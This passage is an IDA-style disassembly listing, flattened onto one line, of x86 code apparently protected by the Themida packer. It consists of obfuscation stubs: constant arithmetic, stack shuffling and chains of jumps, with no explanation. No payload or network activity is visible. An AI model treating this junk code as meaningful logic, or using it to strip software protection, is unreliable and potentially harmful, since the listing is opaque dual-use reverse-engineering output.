loc_5958D1 ; --------------------------------------------------------------------------- mov esp, [esp+24h+var_26+2] jmp loc_58E66C ; --------------------------------------------------------------------------- loc_593DF6: ; CODE XREF: sub_59196D+1BD3j sub bh, 2Fh jmp loc_59277A ; --------------------------------------------------------------------------- loc_593DFE: ; CODE XREF: sub_58E727+4Aj push [esp+1Ch+var_1A+2] jmp loc_58C64A ; --------------------------------------------------------------------------- loc_593E07: ; CODE XREF: sub_59196D-5CF8j and esi, 68CA4C67h jmp loc_5942D5 ; --------------------------------------------------------------------------- loc_593E12: ; CODE XREF: sub_59196D+11EAj add eax, ebp jmp loc_590B25 ; --------------------------------------------------------------------------- loc_593E19: ; CODE XREF: sub_59196D-59B9j xor edi, 69A0640Ah xor edi, 0E75B0E27h sub ebx, edi jmp loc_5912E6 ; --------------------------------------------------------------------------- loc_593E2C: ; CODE XREF: sub_59196D-18B8j pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_597887 ; --------------------------------------------------------------------------- loc_593E3B: ; CODE XREF: sub_58E916+15j dec ebx dec ebx add ebx, 196E388Ah xchg edx, ebx jmp loc_58B976 ; --------------------------------------------------------------------------- loc_593E4A: ; CODE XREF: sub_59196D-E04j inc eax jge loc_593C59 sub eax, 14C83538h sub eax, 117714FEh mov bl, 0CEh mov ch, 4Fh loc_593E5F: ; CODE XREF: sub_59196D-39AAj mov ebx, 4 add esi, ebx jmp loc_590A19 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+4+var_4] push edx mov edx, esp push eax jmp loc_593389 ; --------------------------------------------------------------------------- loc_593E78: ; CODE XREF: sub_59196D+2F60j mov ecx, 24h add ecx, 0DC60253h sub ecx, 3EBC0EBFh add ecx, edi add ecx, 3EBC0EBFh sub ecx, 0DC60253h push ebp jmp loc_596149 ; --------------------------------------------------------------------------- loc_593E9D: ; CODE XREF: sub_59196D-5D5Cj mov al, 0C8h xor al, 29h push ebx mov bh, al mov cl, bh pop ebx push [esp+2Ch+var_2E+2] push [esp+30h+var_32+2] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_58FD6C ; --------------------------------------------------------------------------- loc_593EBC: ; CODE XREF: sub_59196D-5583j xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] test ecx, eax pushf jmp loc_59186E ; --------------------------------------------------------------------------- loc_593ECA: ; CODE XREF: sub_59196D+57C9j push esp pop edx jmp loc_58D216 ; --------------------------------------------------------------------------- loc_593ED1: ; CODE XREF: sub_59196D-4249j and bh, 22h add bh, 4Fh neg bh jmp loc_5961BB ; --------------------------------------------------------------------------- loc_593EDE: ; CODE XREF: sub_59196D+2926j sub ebp, 622B548Bh mov ebx, [esp+3Eh+var_40+2] add esp, 4 add ebp, esi sub ebp, 4A8F2C5Bh jmp loc_58F1C1 ; --------------------------------------------------------------------------- loc_593EFA: ; CODE XREF: sub_59196D+12F2j xchg ecx, [esp+26h+var_26] jmp loc_597631 ; --------------------------------------------------------------------------- loc_593F02: ; CODE XREF: sub_59196D-914j push ebx push eax mov eax, 1E694626h or eax, 383B0D2Dh shl eax, 8 js loc_591033 sub eax, 259B02Ch mov ebx, eax pop eax jmp loc_597D7A ; --------------------------------------------------------------------------- loc_593F24: ; CODE XREF: sub_59196D+33BCj xchg esi, [esp+18h+var_1A+2] jmp loc_5950CB ; --------------------------------------------------------------------------- loc_593F2C: ; CODE XREF: sub_59196D+2893j add esp, 4 push ebx mov ebx, 4 sub eax, 16B875A2h add eax, ebx add eax, 16B875A2h pop ebx push 3457h mov [esp+18h+var_1A+2], ecx mov ecx, 4 add eax, ecx jmp loc_58F886 ; --------------------------------------------------------------------------- loc_593F59: ; CODE XREF: sub_59196D-41D2j xor [esp+3Ah+var_3C+2], esi xor esi, [esp+3Ah+var_3C+2] pop esp mov [esp+36h+var_36], edi jmp loc_58BDA9 ; --------------------------------------------------------------------------- loc_593F68: ; CODE XREF: sub_59196D-1DD3j push 3667h mov [esp-4+arg_0], ebp push esp mov ebp, [esp+0] add esp, 4 push edi mov edi, 4 add ebp, edi pop edi push edx mov edx, 67010A70h shr edx, 5 jz loc_58B61D xor edx, 36793F3Fh jge loc_592F34 push esi jmp loc_5927FA ; --------------------------------------------------------------------------- mov esi, 6C727119h push eax loc_593FAA: ; CODE XREF: sub_59196D+6408j mov ebx, 90319B2h add [esp+8+var_4], ebx pop ebx push ecx jmp loc_58B49F ; --------------------------------------------------------------------------- loc_593FBA: ; CODE XREF: Themida_:0058C5FDj mov edi, 57DA5E8Bh sub edi, 4E8F596Eh jmp loc_5959B4 ; --------------------------------------------------------------------------- loc_593FCA: ; CODE XREF: sub_59196D+3E07j or esi, edx jmp loc_592F76 ; --------------------------------------------------------------------------- loc_593FD1: ; CODE XREF: sub_59196D+31E5j sub edi, esi add edi, 11A20492h mov esi, [esp+8+var_8] add esp, 4 retn ; --------------------------------------------------------------------------- jmp loc_58B37B ; --------------------------------------------------------------------------- loc_593FE5: ; CODE XREF: sub_59196D-5EA4j add ecx, esi mov esi, [esp+18h+var_1A+2] push 7F46h jmp loc_58D76E ; --------------------------------------------------------------------------- loc_593FF4: ; CODE XREF: sub_59196D+6772j add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp+1Ch+var_1E+2] jmp loc_59399E ; --------------------------------------------------------------------------- loc_59400B: ; CODE XREF: sub_59196D+44C7j xor ebx, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], ebx xor ebx, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] mov [esp+1Ch+var_1E+2], edx push eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594021: ; CODE XREF: sub_59196D+5450j add ebp, edi pop edi xor ebp, [esp+20h+var_22+2] xor [esp+20h+var_22+2], ebp xor ebp, [esp+20h+var_22+2] pop esp shl [esp+1Ch+var_1E+2], cl jmp loc_58B37B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp+1Ah+var_1A], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594045: ; CODE XREF: sub_59196D+3D4Dj sub edx, esi xchg edx, esi pop edx sub esi, 768481Fh sub esi, 0E4323218h jmp loc_58B427 ; --------------------------------------------------------------------------- loc_59405B: ; CODE XREF: sub_59196D-27A9j pop esi add esp, 4 dec ebp inc ebp jmp loc_5964D5 ; --------------------------------------------------------------------------- loc_594069: ; CODE XREF: sub_59196D+4ED6j xchg esi, [esp+18h+var_1A+2] jmp loc_591323 ; --------------------------------------------------------------------------- loc_594071: ; CODE XREF: sub_59196D-52F1j xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_58DDEF ; --------------------------------------------------------------------------- loc_59407C: ; CODE XREF: sub_59196D+64BCj mov edx, 4 sub esi, edx pop edx xchg esi, [esp+0] mov esp, [esp+0] mov [esp+0], ebx mov ecx, [esp+0] add esp, 4 push ecx jmp loc_5979F6 ; --------------------------------------------------------------------------- push dword ptr [esp+0] pop ecx push 7C47h mov [esp+4+var_4], eax mov eax, esp add eax, 4 push esi jmp loc_595910 ; --------------------------------------------------------------------------- loc_5940B5: ; CODE XREF: sub_59196D+2B40j add ebx, edi mov edi, [esp+8+var_8] add esp, 4 push 1935h mov [esp+8+var_8], ecx mov ecx, 2 sub ebx, ecx pop ecx xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] mov word ptr [esp+4+var_4], ax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5940DF: ; CODE XREF: sub_59196D+56B9j mov edi, [esp+4+var_4] add esp, 4 add esp, 4 jmp sub_58F469 ; --------------------------------------------------------------------------- loc_5940F0: ; CODE XREF: sub_59196D-2A09j jmp loc_594962 ; --------------------------------------------------------------------------- loc_5940F5: ; CODE XREF: sub_59196D-6364j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5940FA: ; CODE XREF: sub_59196D-62E5j add edx, 4 xchg edx, [esp+1Ch+var_1E+2] pop esp or [edi+1Ch], ebx push [esp+18h+var_1A+2] pop ebx add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594113: ; CODE XREF: sub_59196D+400Ej push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_591BFA ; --------------------------------------------------------------------------- loc_594127: ; CODE XREF: sub_59196D-6570j mov word ptr [esp-4+arg_0], ax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594130: ; CODE XREF: sub_59196D-5E90j mov [esp+18h+var_1A+2], ebx mov bl, 0B7h add cl, 0F8h jmp loc_594FB8 ; --------------------------------------------------------------------------- loc_59413D: ; CODE XREF: sub_59196D+4637j pop eax neg eax jns loc_595446 sub eax, 0E980EC00h mov ecx, eax pop eax jmp loc_58F093 ; --------------------------------------------------------------------------- loc_594153: ; CODE XREF: sub_59196D+2E7Fj sub ebx, 352833DFh jl loc_5941D3 add ebx, 71454330h mov ecx, ebx pop ebx sub al, 0FFh loc_59416A: ; CODE XREF: sub_59196D-460Aj ; sub_59196D:loc_597882j sub cl, 5Ch jmp loc_594CB5 ; --------------------------------------------------------------------------- loc_594172: ; CODE XREF: sub_59196D+1A4Aj sub esp, 4 mov [esp+14h+var_16+2], ebp mov ebp, 16CC48A0h jmp loc_58C2B5 ; --------------------------------------------------------------------------- loc_594185: ; CODE XREF: sub_59196D+7EAj sub ebx, 19CB587Ah jmp loc_5976F2 ; --------------------------------------------------------------------------- loc_594190: ; CODE XREF: sub_59196D+2E6Ej push ebx push edx jmp loc_593D62 ; --------------------------------------------------------------------------- loc_594197: ; CODE XREF: sub_59196D+2DFj jz loc_5948BC jmp loc_5916F4 ; --------------------------------------------------------------------------- loc_5941A2: ; CODE XREF: sub_59196D+86j mov ax, word ptr [esp+26h+var_26] push 2227h mov [esp+2Ah+var_2A], edx push 6DC4h mov [esp+2Eh+var_2E], esp jmp loc_58F59D ; --------------------------------------------------------------------------- loc_5941BB: ; CODE XREF: sub_59196D-45ABj neg al jmp loc_5975B6 ; --------------------------------------------------------------------------- loc_5941C2: ; CODE XREF: sub_59196D-53Cj jo loc_598352 sub ecx, 9336F242h jmp near ptr dword_58C894+18h ; --------------------------------------------------------------------------- loc_5941D3: ; CODE XREF: sub_59196D+27ECj add ebx, 71454330h mov ecx, ebx pop ebx jmp loc_59816F ; --------------------------------------------------------------------------- loc_5941E1: ; DATA XREF: Themida_:0058B118o push [esp+0Ch+var_C] pop eax sub esp, 4 mov [esp+10h+var_12+2], eax push 421Bh mov [esp+14h+var_16+2], esp add [esp+14h+var_16+2], 4 mov eax, [esp+14h+var_16+2] jmp loc_593F2C ; --------------------------------------------------------------------------- lodsd jmp loc_58C4B0 ; --------------------------------------------------------------------------- loc_59420B: ; CODE XREF: sub_59196D+1FCFj ; sub_59196D+59FAj push edx sub esp, 4 mov [esp+3Eh+var_40+2], ecx push 6F5B747Fh mov ecx, [esp+42h+var_44+2] add esp, 4 not ecx xchg edi, ecx jmp loc_595607 ; --------------------------------------------------------------------------- loc_594229: ; CODE XREF: sub_59196D-33B3j pop ebp jmp loc_58BC7A ; --------------------------------------------------------------------------- loc_59422F: ; CODE XREF: sub_59196D+54AEj add esp, 4 sub esp, 4 mov [esp+14h+var_16+2], eax push esi mov esi, 152A31EEh push esi mov esi, 51455CDEh mov eax, esi pop esi xor eax, esi mov esi, [esp+18h+var_1A+2] push ebx jmp loc_5957A5 ; --------------------------------------------------------------------------- loc_594252: ; CODE XREF: sub_59196D-337Dj push 2EF7h mov [esp+18h+var_1A+2], esi push 4 jmp loc_595E28 ; --------------------------------------------------------------------------- loc_594264: ; CODE XREF: sub_59196D+1EFFj pop ecx xor ebx, [esp+14h+var_16+2] xor [esp+14h+var_16+2], ebx jmp loc_58CD63 ; --------------------------------------------------------------------------- loc_594270: ; CODE XREF: sub_59196D-5C56j not [esp+2Ch+var_2E+2] pop esi inc esi jmp loc_58BE08 ; --------------------------------------------------------------------------- loc_59427A: ; CODE XREF: sub_59196D+2DCBj shr ebx, 1 push edi mov edi, 37766A0Fh or ebx, edi pop edi add ebx, 0A902C5Ch add ebp, 622B548Bh add ebp, ebx jmp loc_593EDE ; --------------------------------------------------------------------------- loc_594298: ; CODE XREF: sub_59196D-163Fj sub eax, 4F8B3455h pop ebx xor ebx, eax pop dword ptr [eax] jmp loc_5953D0 ; --------------------------------------------------------------------------- lodsd push ecx push esi jmp loc_5908FD ; --------------------------------------------------------------------------- loc_5942AF: ; CODE XREF: sub_59196D+4334j push esi push ebp mov ebp, 4 mov esi, ebp pop ebp add edi, esi pop esi push edx jmp loc_592CCF ; --------------------------------------------------------------------------- loc_5942C2: ; CODE XREF: sub_59196D-3811j ; sub_59196D-1A87j push esi push [esp+14h+var_12+2] mov esi, [esp+18h+var_1A+2] add esp, 4 pop [esp+14h+var_16+2] jmp loc_597009 ; --------------------------------------------------------------------------- loc_5942D5: ; CODE XREF: sub_59196D+24A0j inc esi push ecx mov ecx, 0D2D9F070h sub esi, ecx pop ecx jmp loc_597B0B ; --------------------------------------------------------------------------- loc_5942E4: ; CODE XREF: sub_59196D+3FE7j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+2Ch+var_2E+2] pop esp add edx, 2 xchg edx, [esp+28h+var_2A+2] pop esp mov ax, word ptr [esp+24h+var_26+2] sub esp, 4 mov [esp+28h+var_2A+2], ebp mov ebp, esp add ebp, 4 push ebx push 2206h mov [esp+30h+var_32+2], edi mov edi, 2 push edi pop ebx jmp loc_58E38A ; --------------------------------------------------------------------------- loc_594322: ; CODE XREF: sub_59196D+3759j add ebx, eax pop eax sub esp, 4 mov [esp+30h+var_32+2], eax mov eax, 1 add [ebx], eax pop eax push [esp+2Ch+var_2E+2] pop ebx add esp, 4 loc_59433D: ; CODE XREF: sub_59196D-356Dj push 6DF2h mov [esp+2Ch+var_2E+2], ecx sub esp, 4 mov [esp+30h+var_32+2], ebx sub esp, 4 mov [esp+34h+var_36+2], eax jmp loc_58BFB9 ; --------------------------------------------------------------------------- loc_594359: ; DATA XREF: Themida_:0058B1ACo push [esp+34h+var_36+2] mov ecx, [esp+0] push eax jmp loc_595E5B ; --------------------------------------------------------------------------- loc_594365: ; CODE XREF: sub_59196D+83Ej movzx eax, al push dword ptr [edi+eax*4] push [esp+20h+var_22+2] pop eax push 4A27h mov [esp+24h+var_26+2], edi push 4715h push esp pop [esp+2Ch+var_2E+2] add [esp+28h+var_2A+2], 4 pop edi add edi, 4 sub esp, 4 mov [esp+28h+var_2A+2], eax mov eax, 36052915h shr eax, 2 xor eax, 0D814A41h add edi, eax pop eax xor edi, [esp+24h+var_26+2] jmp loc_594F4D ; --------------------------------------------------------------------------- align 2 clc push ebx mov bl, 74h sub al, 0DCh add al, bl add al, 0DCh jmp loc_596CC6 ; --------------------------------------------------------------------------- loc_5943B9: ; CODE XREF: sub_59196D-146Cj xor eax, [esp+44h+var_44] jmp loc_591A89 ; --------------------------------------------------------------------------- loc_5943C1: ; CODE XREF: sub_59196D-34Ej push 24D5h mov [esp+3Eh+var_40+2], edi push 26BE48B7h jmp loc_58EF5D ; --------------------------------------------------------------------------- loc_5943D3: ; CODE XREF: sub_59196D+8F8j add ebp, 4 xor ebp, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], ebp jmp loc_595074 ; --------------------------------------------------------------------------- loc_5943E1: ; CODE XREF: sub_59196D+1969j push ax inc byte ptr [esp+0] pop ax sub al, 0EBh add al, 0DFh sub al, 0D9h jmp loc_5978CA ; --------------------------------------------------------------------------- loc_5943F3: ; CODE XREF: sub_59196D-FB5j push ebx mov ebx, 57B36C44h xor edi, ebx pop ebx mov ebp, [esp+12h+var_12] add esp, 4 add eax, edi pop edi sub esp, 4 mov [esp+0], esi sub esp, 4 jmp loc_591598 ; --------------------------------------------------------------------------- loc_594419: ; CODE XREF: sub_59196D+3C4Fj pop dword ptr [edi+24h] loc_59441C: ; CODE XREF: sub_59196D-361Cj sub esp, 4 mov [esp+12h+var_12], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp+12h+var_12] xor [esp+12h+var_12], ebp jmp loc_590564 ; --------------------------------------------------------------------------- loc_594438: ; CODE XREF: sub_59196D-25B7j push esi mov esi, 4707615h mov ebp, esi pop esi inc ebp jp loc_58FBF2 add ebp, 18120B05h jg loc_593C54 jmp loc_5957EB ; --------------------------------------------------------------------------- sub eax, 14C83538h mov ch, al mov ch, bl loc_594462: ; CODE XREF: sub_59196D+1EBAj mov [esp+12h+var_12], eax push dword ptr [esp+4] mov eax, [esp+16h+var_16] add esp, 4 pop [esp+12h+var_12] jmp loc_594FFB ; --------------------------------------------------------------------------- loc_594477: ; CODE XREF: sub_59196D+2FB7j add eax, 1456CAF5h add ebp, eax pop eax add edi, ebp pop ebp xchg edi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] inc [esp+6+var_8+2] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594491: ; CODE XREF: sub_59196D-4B74j xchg esi, [esp+20h+var_22+2] pop esp mov [esp+1Ch+var_1E+2], ecx mov ecx, 0C92534Ch mov edi, 0F36DACB8h add edi, ecx mov ecx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_5940B5 ; --------------------------------------------------------------------------- loc_5944B2: ; CODE XREF: sub_59196D-63EEj pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+18h+var_1A+2] pop esp push ecx mov ecx, 23A16EADh jmp loc_59637F ; --------------------------------------------------------------------------- loc_5944CE: ; CODE XREF: sub_59196D-2FFBj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5944D3: ; CODE XREF: sub_59196D:loc_591CE8j push eax mov al, 1 xor cl, al pop eax sub al, 86h jmp loc_5946F6 ; --------------------------------------------------------------------------- loc_5944E0: ; CODE XREF: sub_59196D+A46j add al, cl add al, 32h mov ecx, [esp+0Ch+var_C] add esp, 4 push 4142h jmp loc_58DA03 ; --------------------------------------------------------------------------- loc_5944F4: ; CODE XREF: sub_59196D+16FDj mov [esp-8+arg_4], esi pop ebx pop esi sub esp, 4 jmp loc_5929C3 ; --------------------------------------------------------------------------- loc_594504: ; CODE XREF: sub_59196D+49A6j push 6BF7h jmp loc_59649A ; --------------------------------------------------------------------------- loc_59450E: ; CODE XREF: sub_59196D+3765j add edx, 4 add edx, 4 xor edx, [esp-8+arg_4] xor [esp-8+arg_4], edx xor edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] sub eax, 3D0644F2h jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594530: ; CODE XREF: sub_59196D-1E59j jbe loc_58DD2A jmp loc_594CF3 ; --------------------------------------------------------------------------- loc_59453B: ; CODE XREF: sub_59196D-4C0Fj push 59Ah mov [esp+3Eh+var_40+2], edx push eax mov al, 8Eh push ecx mov cl, 94h jmp loc_597F9F ; --------------------------------------------------------------------------- loc_59454E: ; CODE XREF: sub_59196D+447j pop ebx push esi push eax mov eax, 2AD4C16h mov esi, eax pop eax add esi, 0FD52B3ECh add ecx, esi pop esi xchg ecx, [esp+0] jmp loc_58EA66 ; --------------------------------------------------------------------------- loc_59456A: ; CODE XREF: sub_59196D-1D6Fj ; sub_59196D-857j sub ebp, 2BE956F0h jmp loc_58D257 ; --------------------------------------------------------------------------- loc_594575: ; CODE XREF: sub_59196D-2160j sub ecx, 0A9F7190Ah mov edi, ecx pop ecx shl edi, 5 add edi, 0FD03EF9Ah or ebx, edi mov edi, [esp+12h+var_12] jmp loc_59775C ; --------------------------------------------------------------------------- loc_594591: ; CODE XREF: sub_59196D+42B4j push ebx sub esp, 4 mov [esp+1Ah+var_1A], ecx jmp loc_58F239 ; --------------------------------------------------------------------------- loc_59459D: ; CODE XREF: sub_59196D-2C92j dec ebp jmp loc_58DFE5 ; --------------------------------------------------------------------------- loc_5945A3: ; CODE XREF: sub_59196D+559Fj sub al, dh add al, 3Fh mov edx, [esp+20h+var_22+2] add esp, 4 add al, bl push 7D68h mov [esp+20h+var_22+2], ecx jmp loc_5953D5 ; --------------------------------------------------------------------------- loc_5945BF: ; CODE XREF: sub_59196D-1764j pop esp sub bl, 0C9h push 187Dh mov [esp+1Ch+var_1E+2], ecx sub esp, 4 mov [esp+20h+var_22+2], ebx mov bh, 76h jmp loc_595FBF ; --------------------------------------------------------------------------- loc_5945D8: ; CODE XREF: sub_59196D-2547j push esp push [esp-0Ah+arg_4+2] pop edx jmp sub_58D10E ; --------------------------------------------------------------------------- loc_5945E2: ; CODE XREF: sub_58CE9F+Ej add ebp, 4 xchg ebp, [esp-0Ah+arg_4+2] pop esp push edi jmp sub_58C816 ; --------------------------------------------------------------------------- loc_5945EF: ; CODE XREF: sub_59196D+43D8j not ecx sub ecx, 0A2E71A5Dh jmp loc_59565B ; --------------------------------------------------------------------------- loc_5945FC: ; CODE XREF: sub_59196D+12B4j add ebp, edi mov edi, [esp+6+var_8+2] add esp, 4 add ebp, 2 xchg ebp, [esp+2+var_4+2] pop esp btr [esp+0], ax pushf jmp loc_590A14 ; --------------------------------------------------------------------------- loc_594616: ; CODE XREF: sub_59196D-1C06j ; sub_59196D+55FCj dec esi add esi, 47C76162h inc esi sub esi, 6C6F4ADEh xor esi, 34A82194h add edx, esi jmp loc_58B945 ; --------------------------------------------------------------------------- loc_594631: ; CODE XREF: sub_59196D-1F81j ; sub_59196D+4AF1j add eax, 0E120F20Fh mov ecx, eax pop eax mov edi, ecx pop ecx shl edi, 1 dec edi dec edi push ebx mov ebx, 0FFFFFFFFh sub edi, ebx pop ebx push edi jmp loc_58FCC2 ; --------------------------------------------------------------------------- loc_59464F: ; CODE XREF: sub_59196D:loc_592335j dec esi jmp loc_591717 ; --------------------------------------------------------------------------- loc_594655: ; CODE XREF: sub_59196D+33FAj xor dl, bl pop ebx add cl, dl pop edx push ebx mov bh, cl mov al, bh pop ebx pop ecx xor al, 93h jbe loc_58D3B7 not al shr al, 3 js loc_5939BB jmp loc_5902E5 ; --------------------------------------------------------------------------- loc_59467A: ; CODE XREF: sub_59196D+6242j add ecx, 4 jmp loc_595616 ; --------------------------------------------------------------------------- loc_594685: ; CODE XREF: sub_59196D-5886j pop edi pop ecx jmp loc_5946CD ; --------------------------------------------------------------------------- loc_59468C: ; CODE XREF: sub_59196D+504j add al, 0B5h add bl, al pop eax sub bl, 1 push ecx push eax mov ah, 9Ah xor ah, 0DAh inc ah jnp loc_5956BF jmp loc_58FCD1 ; --------------------------------------------------------------------------- loc_5946A8: ; CODE XREF: sub_59196D-1214j add edx, ecx jmp loc_58B571 ; --------------------------------------------------------------------------- loc_5946AF: ; CODE XREF: sub_59196D-2B0Dj add edx, esi pop esi jmp loc_5919DC ; --------------------------------------------------------------------------- loc_5946B7: ; CODE XREF: sub_59196D+5489j xor eax, ecx mov ecx, [esp+0] add esp, 4 push ecx push 4D045A8Fh jmp loc_590432 ; --------------------------------------------------------------------------- loc_5946CD: ; CODE XREF: sub_59196D+2D1Aj add ecx, 4 push ebp mov ebp, 71865027h sub ebp, 71865023h add ecx, ebp jmp loc_5969CC ; --------------------------------------------------------------------------- loc_5946E6: ; CODE XREF: sub_59196D+63EEj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5946EB: ; CODE XREF: sub_59196D-3CB1j ; sub_59196D+5A08j xor ecx, 2600001Ah jmp loc_592219 ; --------------------------------------------------------------------------- loc_5946F6: ; CODE XREF: sub_59196D+2B6Ej add al, cl add al, 86h pop ecx sub esp, 4 mov [esp+1Ch+var_1E+2], ebx mov bl, 9 jmp loc_597C6A ; --------------------------------------------------------------------------- loc_59470B: ; CODE XREF: sub_59196D-5CC9j xor cl, 2Fh add cl, 14h sub bh, cl jmp loc_59395C ; --------------------------------------------------------------------------- loc_594718: ; CODE XREF: sub_59196D-A14j neg bl dec bl not bl jmp loc_59269D ; --------------------------------------------------------------------------- loc_594723: ; CODE XREF: sub_59196D+1348j push esi mov esi, 598518BFh mov ebx, esi pop esi or ebx, 18FC690Ch or ebx, 0CE5367Fh jmp loc_59427A ; --------------------------------------------------------------------------- loc_59473D: ; CODE XREF: sub_59196D-40D4j xchg eax, [esp+58h+var_5A+2] pop esp mov [esp+54h+var_54], ecx jmp loc_58D282 ; --------------------------------------------------------------------------- loc_594749: ; CODE XREF: sub_59196D+22E2j sub ebx, edi pop edi sub ecx, ebx mov ebx, [esp+18h+var_1A+2] push ebx jmp loc_58CDFE ; --------------------------------------------------------------------------- loc_594757: ; CODE XREF: sub_59196D-445Cj sub esp, 4 mov [esp+24h+var_26+2], esp add [esp+24h+var_26+2], 4 pop ebx add ebx, 4 push ebp push ebx jmp loc_58B549 ; --------------------------------------------------------------------------- loc_594772: ; CODE XREF: sub_59196D+4071j push dword ptr [edi+eax*4] push [esp+2Ch+var_2E+2] push [esp+30h+var_32+2] jmp loc_5949E5 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+34h+var_36+2] push 0EA8h mov [esp+0], edx mov edx, esp push 73C8h mov [esp+3Ch+var_3C], edi push ecx jmp loc_595820 ; --------------------------------------------------------------------------- loc_59479C: ; CODE XREF: sub_59196D+382Cj mov eax, [esp+40h+var_40] jmp loc_58C0BD ; --------------------------------------------------------------------------- loc_5947A4: ; CODE XREF: sub_59196D+39E2j sub eax, edx jmp loc_5949A6 ; --------------------------------------------------------------------------- loc_5947AB: ; CODE XREF: sub_59196D-3C35j add edx, ebp mov ebp, [esp+28h+var_2A+2] add esp, 4 sub edx, 698C1089h jmp loc_595344 ; --------------------------------------------------------------------------- loc_5947BE: ; CODE XREF: sub_59196D+3332j mov ebp, 35DA6E3Eh or ebp, 79A764AAh sub esp, 4 jmp loc_59270A ; --------------------------------------------------------------------------- loc_5947D1: ; CODE XREF: sub_59196D+4E78j xor bh, 0DDh xor cl, bh pop ebx xor al, cl pop ecx push edx jmp loc_594190 ; --------------------------------------------------------------------------- loc_5947E0: ; CODE XREF: sub_59196D-5549j xor ebx, 4F201910h sub ebx, 0FFFFFFFFh shr ebx, 4 jmp loc_594153 ; --------------------------------------------------------------------------- loc_5947F1: ; CODE XREF: sub_59196D+1A74j pop ecx push 2EB5h mov [esp+0], edx mov edx, 38512921h sub edx, 3851291Dh add ecx, edx pop edx push edi jmp loc_596962 ; --------------------------------------------------------------------------- loc_59480E: ; CODE XREF: sub_59196D+52E4j inc esi jmp loc_58FDC9 ; --------------------------------------------------------------------------- loc_594814: ; CODE XREF: sub_59196D-5EBj add edx, 4 push edi jmp loc_592A86 ; --------------------------------------------------------------------------- loc_594820: ; CODE XREF: sub_59196D+5BCEj add esp, 4 sub eax, ecx mov ecx, [esp+24h+var_26+2] add esp, 4 jmp loc_5968C9 ; --------------------------------------------------------------------------- loc_594830: ; CODE XREF: sub_59196D+60F6j add ecx, 4 add ecx, 4 xchg ecx, [esp+20h+var_22+2] pop esp add eax, 2 jmp loc_58E848 ; --------------------------------------------------------------------------- loc_594845: ; CODE XREF: sub_59196D-3D30j jmp loc_590321 ; --------------------------------------------------------------------------- loc_59484A: ; CODE XREF: sub_590BE0-4DF5j add esp, 4 push [esp+18h+var_1A+2] pop eax add esp, 4 jmp loc_58B987 ; --------------------------------------------------------------------------- loc_59485C: ; CODE XREF: sub_59196D+3323j mov edx, [esp+14h+var_16+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], ecx jmp loc_58E967 ; --------------------------------------------------------------------------- loc_594879: ; CODE XREF: sub_59196D-2CBDj add esp, 4 add ebx, eax jmp loc_59385A ; --------------------------------------------------------------------------- mov eax, [esp+1Ch+var_1E+2] sub esp, 4 mov [esp+20h+var_22+2], esi jmp loc_594FA5 ; --------------------------------------------------------------------------- loc_594891: ; CODE XREF: sub_59196D+3CDAj pop ebx push ebp mov ebp, 4 add ebx, ebp pop ebp jmp sub_59192A ; --------------------------------------------------------------------------- loc_5948A0: ; CODE XREF: sub_59196D-11ABj push ebx not [esp+1Ch+var_1E+2] pop ebx xor ebx, 430C39ABh jno loc_59344D neg ebx jle loc_59246B inc ebx or al, 5Bh loc_5948BC: ; CODE XREF: sub_59196D:loc_594197j jmp loc_5961F8 ; --------------------------------------------------------------------------- loc_5948C1: ; CODE XREF: sub_59196D-60C8j ; sub_59196D-26Dj or edx, eax shl edx, 1 push 48D4h mov [esp+18h+var_1A+2], ecx jmp loc_593E78 ; --------------------------------------------------------------------------- loc_5948D2: ; CODE XREF: sub_59196D+8CAj mov esi, ebx mov eax, esi push [esp+2Ch+var_2E+2] mov esi, [esp+30h+var_32+2] jmp loc_58D700 ; --------------------------------------------------------------------------- loc_5948E1: ; CODE XREF: sub_59196D+C73j neg ebx dec ebx xor ebx, 157E69D7h push edi mov edi, 15391472h xor ebx, edi pop edi add ebx, 1CB43435h add eax, ebx pop ebx xchg eax, [esp+20h+var_22+2] pop esp push edi jmp loc_594940 ; --------------------------------------------------------------------------- loc_594906: ; CODE XREF: sub_59196D-61E1j xor ebp, edx pop edx dec ebp and ebp, 2527445Bh or ebp, 568C18A3h neg ebp or ebp, 1D7F2D44h push eax mov eax, 4E2945C2h jmp loc_594477 ; --------------------------------------------------------------------------- loc_594929: ; CODE XREF: sub_59196D+32EBj mov [esp+1Ch+var_1E+2], edx mov dl, 56h add cl, dl mov edx, [esp+1Ch+var_1E+2] add esp, 4 sub al, cl jmp loc_595601 ; --------------------------------------------------------------------------- loc_594940: ; CODE XREF: sub_59196D+2F94j mov edi, 6CED02F9h add ebx, edi jmp loc_595AB4 ; --------------------------------------------------------------------------- loc_59494C: ; CODE XREF: sub_59196D-4C58j ; sub_59196D-419Bj push ebx xor [esp+42h+var_44+2], 2D2B71E3h jmp loc_592E34 ; --------------------------------------------------------------------------- loc_594959: ; CODE XREF: sub_59196D-2F06j shr 